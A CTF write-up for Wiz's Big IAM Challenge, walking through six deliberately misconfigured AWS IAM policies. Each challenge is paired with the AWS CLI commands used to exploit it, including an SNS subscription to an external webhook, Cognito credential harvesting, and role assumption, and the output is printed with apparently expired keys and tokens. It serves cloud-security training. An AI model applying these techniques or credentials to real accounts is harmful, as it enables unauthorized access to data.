Saturday, August 9, 2025

BigIAMChallenge - Writeup

This CTF challenge was created by Wiz.io to help engineers better understand how IAM Policies work.

Challenge #1

The first challenge presents you with the following IAM Policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

The main problem with the policy above lies in the permissions granted for ListBucket. StringLike allows access if the specified conditions are met. The condition above is s3:prefix: files/* means that any query with this prefix will be allowed:

$ aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
2023-06-05 16:13:53         37 flag1.txt
2023-06-08 16:18:24      81889 logo.png

$ aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt .
download: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./flag1.txt

$ cat flag1.txt
{wiz:exposed-***}

This way you can access files that shouldn’t be supposed to be visible.

Challenge #2

The IAM policy for this challenge is:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

The solution is pretty simple. Using AWS CLI:

aws sqs receive-message --queue-url \
  https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

We can read the body of a message that points to a file in a S3 Bucket.

curl https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html
{wiz:you-***}

Challenge #3


{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

Always be cautious when you see an asterisk. My solution exploited this vulnerability by using:

aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
    --protocol https \
    --notification-endpoint https://webhook.site/4c27ac43-4a2-472c-9ae4-430db98850e0/?a=@tbic.wiz.io

Webhook is very useful for testing XSS payloads. I use it a lot when I’m playing CTFs, so it was the first thing that came to mind for this challenge. You can always create a local server and expose to the internet using ngrok too.

After you receive a subscription url and click on it, you are going to receive the flag in another request:

{wiz:always-****}

Challenge #4

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

The solution bypasses the ForAllValues:StringLike condition by using:

$ aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
2023-06-07 16:15:43         42 flag-as-admin.txt
2023-06-08 16:20:01      81889 logo-admin.png

$ aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-ad
min.txt .
download: s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt to ./flag-as-admin.txt

The solution is inside the text file:

{wiz:principal-arn-***}

Challenge #5

The next challenge provides you with the following IAM policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

By getting the credentials from the browser console by using: (probably that’s not the intended solve :D)

AWS.config.credentials

This allows you to see the temporary credentials needed to access Cognito. After pasting the credentials into the shell, you can see the flag:

➜  ~ aws s3 ls s3://wiz-privatefiles/
2023-06-05 16:42:27       4220 cognito1.png
2023-06-05 10:28:35         37 flag1.txt

➜  ~ cat flag1.txt
{wiz:incognito-***}

Challenge #6

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

The first step is to get the Id of the pool using the following command:

$ aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
{
    "IdentityId": "us-east-1:157d6171-ee58-ccb6-9df3-dc9103b53884"
}

Then, you authenticate with:

➜  ~ aws cognito-identity get-open-id-token --identity-id us-east-1:40937fe8-22d8-41da-959a-bb32296491af | cat
{
    "IdentityId": "us-east-1:40937fe8-22d8-41da-959a-bb32296491af",
    "Token": "eyJraWQiOiJ1cy1lYXN0LTEtNiIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6NDA5MzdmZTgtMjJkOC00MWRhLTk1OWEtYmIzMjI5NjQ5MWFmIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MjEyNDY1MTksImlhdCI6MTcyMTI0NTkxOX0.ZNcxiRY6JAk2O7aTH34x16Eg_dG6yNZvUR4NWrThmohGXgulJcIgHca2nMby7aaLEENw_RNgNb3ckKZ74DpUnYf9eTwmcm1oHaqU6-OfztV7Mx23nr0VAfQI5X1dLmgh4AMW6u3draLxc1hGnhNobYIxYMbRLTpFsuTxDKV_G_2keuDqi5QQgS1ENuPXJX0fBq7VRHqdfsoAcJqR5oMYJWSsc5dDC2lsKsSDsz0qAtUscrnqzrTuLMV7qZVMHf_YIsO3AXMnYMfywJO3NpmDlNN6MBNPnKNEUOVEvPMRKeAVxpJVOHZYBmaUSaOmz4cEdoE7uCAFNZTGqPuCdkWKwg"
}

Then:

  ~ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name diofeher --web-identity-token eyJraWQiOiJ1cy1lYXN0LTEtNiIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6NDA5MzdmZTgtMjJkOC00MWRhLTk1OWEtYmIzMjI5NjQ5MWFmIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MjEyNDY1MTksImlhdCI6MTcyMTI0NTkxOX0.ZNcxiRY6JAk2O7aTH34x16Eg_dG6yNZvUR4NWrThmohGXgulJcIgHca2nMby7aaLEENw_RNgNb3ckKZ74DpUnYf9eTwmcm1oHaqU6-OfztV7Mx23nr0VAfQI5X1dLmgh4AMW6u3draLxc1hGnhNobYIxYMbRLTpFsuTxDKV_G_2keuDqi5QQgS1ENuPXJX0fBq7VRHqdfsoAcJqR5oMYJWSsc5dDC2lsKsSDsz0qAtUscrnqzrTuLMV7qZVMHf_YIsO3AXMnYMfywJO3NpmDlNN6MBNPnKNEUOVEvPMRKeAVxpJVOHZYBmaUSaOmz4cEdoE7uCAFNZTGqPuCdkWKwg | cat
{
    "Credentials": {
        "AccessKeyId": "ASIARK7LBOHXCEB2J3EI",
        "SecretAccessKey": "rCEOwjWOlMwfDPMg7N5biK5tIGo34Q0IhuD5L5CS",
        "SessionToken": "IQoJb3JpZ2luX2VjECwaCXVzLWVhc3QtMSJIMEYCIQDLmZHdbY1Na1egTIh/SB9nn+dCfvbV7E4RMrgrqIXztQIhAKVrUattduDWKZobSKIkpaj6muwLac7wOBaIUWSU3Ij7KpIDCPX//////////wEQABoMMDkyMjk3ODUxMzc0IgyWlfAqqr41LKYHBm4q5gIl7cw7vDta6c+GxKGkMTdW/yccmC5LYDaoDlSImGqRg1yEI2YDtPkSWhuwziIODGLL7vHMPzvTwdoULy7DGck7a2ECjG4Ucoj8YND3zK9hpo8FKUVEN0QYW/oWx8l12Ia7wh6iYYB2NqP9cDKx+S7xUNh6V/VYIeyY64Q4g9CGZTUZbAGVpGMidmzft7Sx3cKFDSoudf7xO+dl38pL/tK6IRQpCFKoQvLumrxs/3oZAfBjyoMEfllgUTyS5SonfYAYJprJKO9ktwW1tJXmCSgVu9KYU3oiK5d/oyPm2D7nbIwBTp/eJLX8LZEFTLBVTbE2t7mgW7pSXGXncKvzFuBz68GWErVZwX7gzJ2mn+GtAtC4XedM1Pbl5+P/me86QWoTCCfj3UWCKRCq9Z2LtzAurpOWCSDsYb2zW1gurduwyH4Ir2QwUQH+2vZYy/tAJJUOOs1SW6tD9WoCluIOgs0QhSGodWnEMLHC4LQGOoYCgX4/8GKx6gWqiui+T+JxAL9mVWydyIG722FPAAhsqTprxRqDRzPANE3Rek7vQnrzIYXqxvSxX4EHopnI+9qowa17Q+DD5kbEbpt+CNKVILyeyjtrlgC1pIGrDJCeARYgM4SORdU0KCwz86Pvd8KGRgzogd4C8342jgYAALkSIWJHvCmesVqz0GyDWV01N99dpfTpYVcmdgo4w18UCfRFrjKDsdiB0lK+JhPfgpy7I9EHhKZAZPrR9SsBlChnI1aoSbqK+BEHEfLW/r0xYm0iLyhXQVxiFLaOzKvgZELtAFDIyfN7xJiSm+L8qMZVLIfR9prwzp4rGTRWzG3uKfZPAORmYX+Ehg==",
        "Expiration": "2024-07-17T20:53:21+00:00"
    },
    "SubjectFromWebIdentityToken": "us-east-1:40937fe8-22d8-41da-959a-bb32296491af",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:diofeher",
        "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/diofeher"
    },
    "Provider": "cognito-identity.amazonaws.com",
    "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}

After exporting these credentials to the shell, we can access:

➜  ~ aws s3 ls
2024-06-06 03:21:35 challenge-website-storage-1fa5073
2024-06-06 05:25:59 payments-system-cd6e4ba
2023-06-04 14:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 10:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-04 13:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 10:28:31 wiz-privatefiles
2023-06-05 10:28:31 wiz-privatefiles-x1000

➜  ~ aws s3 ls s3://wiz-privatefiles-x1000
2023-06-05 16:42:27       4220 cognito2.png
2023-06-05 10:28:35         40 flag2.txt

➜  ~ aws s3 cp  s3://wiz-privatefiles-x1000/flag2.txt .
cat fCompleted 40 Bytes/40 Bytes (83 Bytes/s) with 1 file(s) rdownload: s3://wiz-privatefiles-x1000/flag2.txt to ./flag2.txt
la%
➜  ~ cat flag2.txt
{wiz:open-***}

If you’re up for the challenges, please try to solve them on your own first. That way, if you get stuck, you can use this post to help unblock yourself.

Have fun!

Cloud Computing , Capture the Flag , Identity and Access Management